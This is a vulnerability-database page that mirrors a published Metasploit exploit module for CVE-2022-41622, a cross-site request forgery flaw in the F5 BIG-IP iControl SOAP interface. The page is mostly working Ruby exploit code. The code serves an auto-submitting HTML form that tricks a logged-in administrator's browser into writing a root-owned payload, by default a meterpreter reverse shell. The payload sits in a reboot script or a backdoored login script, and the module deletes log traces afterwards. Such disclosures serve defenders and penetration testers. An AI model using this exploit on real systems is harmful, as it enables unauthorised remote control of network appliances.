Lucene search
K

F5 BIG-IP iControl Cross Site Request Forgery

🗓️ 21 Nov 2022 00:00:00Reported by Ron Bowes, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 463 Views

This module exploits a CSRF vulnerability in F5 Big-IP's iControl interface to write an arbitrary file to the filesystem. Exploitability is limited by SELinux; the vast majority of writable locations are unavailable. The payload will execute the next time the server boots

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',  
'Description' => %q{  
This module exploits a cross-site request forgery (CSRF) vulnerability  
in F5 Big-IP's iControl interface to write an arbitrary file to the  
filesystem.  
  
While any file can be written to any location as root, the  
exploitability is limited by SELinux; the vast majority of writable  
locations are unavailable. By default, we write to a script that  
executes at reboot, which means the payload will execute the next time  
the server boots.  
  
An alternate target - Login - will add a backdoor that executes next  
time a user logs in interactively. This overwrites a file,  
but we restore it when we get a session  
  
Note that because this is a CSRF vulnerability, it starts a web  
server, but an authenticated administrator must visit the site, which  
redirects them to the target.  
},  
'Author' => [  
'Ron Bowes' # Discovery, PoC, and module  
],  
'References' => [  
['CVE', '2022-41622'],  
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],  
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],  
['URL', 'https://support.f5.com/csp/article/K97843387'],  
['URL', 'https://support.f5.com/csp/article/K94221585'],  
['URL', 'https://support.f5.com/csp/article/K05403841'],  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2022-11-16', # Vendor advisory  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Type' => :unix_cmd,  
'Privileged' => true,  
'Targets' => [  
[ 'Restart', {}, ],  
[ 'Login', {}, ],  
[ 'Custom', {}, ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),  
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),  
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),  
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),  
]  
)  
end  
  
def on_request_uri(socket, _request)  
if datastore['TARGET'] == 0 # restart  
filename = '/shared/f5_update_action'  
file_payload = <<~EOT  
UpdateAction  
https://localhost/success`#{payload.encoded}`  
https://localhost/error  
0  
0  
0  
0  
EOT  
  
# Delete the logfile if we get a session  
register_file_for_cleanup('/var/log/f5_update_checker.out')  
  
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")  
elsif datastore['TARGET'] == 1 # login  
filename = '/var/run/config/timeout.sh'  
file_payload = "#{payload.encoded} & disown;"  
  
# Delete the backdoored file if we get a session.. this will be fixed at  
# next reboot  
register_file_for_cleanup('/var/run/config/timeout.sh')  
  
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")  
else # Custom  
  
filename = datastore['FILENAME']  
file_payload = payload.encoded  
  
print_status("Redirecting the admin to overwrite #{filename} with the payload")  
end  
  
# Build the SOAP request that'll be sent to the target server  
csrf_payload = %(  
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">  
<soapenv:Header/>  
<soapenv:Body>  
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  
<file_name xsi:type="xsd:string">#{filename}</file_name>  
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">  
<!--type: Common.OctetSequence-->  
<file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>  
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>  
</file_context>  
</con:upload_file>  
</soapenv:Body>  
</soapenv:Envelope>  
)  
  
# Build the target URL  
target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"  
  
# Build the HTML payload that'll send the SOAP request via the user's browser  
html_payload = %(  
<html>  
<body>  
<form action="#{target_url}" method="POST" enctype="text/plain">  
<textarea id="payload" name="<!--">-->#{Rex::Text.html_encode(csrf_payload)}</textarea>  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
)  
  
# Send the HTML to the browser  
send_response(socket, html_payload, { 'Content-Type' => 'text/html' })  
end  
  
def exploit  
# Sanity check  
if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)  
fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')  
end  
  
print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')  
super  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation